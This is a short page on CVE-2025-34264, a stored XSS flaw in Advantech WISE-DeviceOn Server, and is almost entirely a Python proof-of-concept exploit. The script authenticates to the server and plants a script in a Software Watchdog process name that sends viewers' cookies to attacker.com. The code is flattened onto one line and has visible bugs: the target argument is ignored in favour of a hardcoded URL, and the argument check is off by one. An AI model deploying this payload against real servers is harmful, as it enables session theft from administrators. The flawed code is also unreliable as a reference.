CVE-2025-34264: Advantech WISE-DeviceOn Server 存储型XSS漏洞

#!/usr/bin/env python3 # CVE-2025-34264 PoC - Advantech WISE-DeviceOn Server Stored XSS # Authenticated Stored XSS via Software Watchdog Process Name import requests import json import sys TARGET_URL = "https://target-server.com" API_ENDPOINT = "/rmm/v1/dog/{agentId}" LOGIN_URL = f"{TARGET_URL}/api/auth/login" def login(username, password): """Authenticate and get session token""" session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data, verify=False) if response.status_code == 200: return session, response.json().get('token') return None, None def inject_xss_payload(session, agent_id, token): """Inject malicious XSS payload into Software Watchdog process name""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # XSS payload - steals cookies when viewed xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' payload = { "settings": [ { "processName": xss_payload, "monitoringEnabled": True, "action": "alert" } ] } endpoint = f"{TARGET_URL}{API_ENDPOINT.format(agentId=agent_id)}" response = session.put(endpoint, headers=headers, json=payload) return response.status_code == 200 def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <agent_id>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] agent_id = sys.argv[4] print(f"[*] Authenticating to {target}...") session, token = login(username, password) if not token: print("[-] Authentication failed") sys.exit(1) print(f"[+] Authentication successful") print(f"[*] Injecting XSS payload for agent: {agent_id}") if inject_xss_payload(session, agent_id, token): print(f"[+] XSS payload injected successfully") print(f"[+] Payload will execute when users view Software Watchdog rules") else: print("[-] Failed to inject payload") if __name__ == "__main__": main()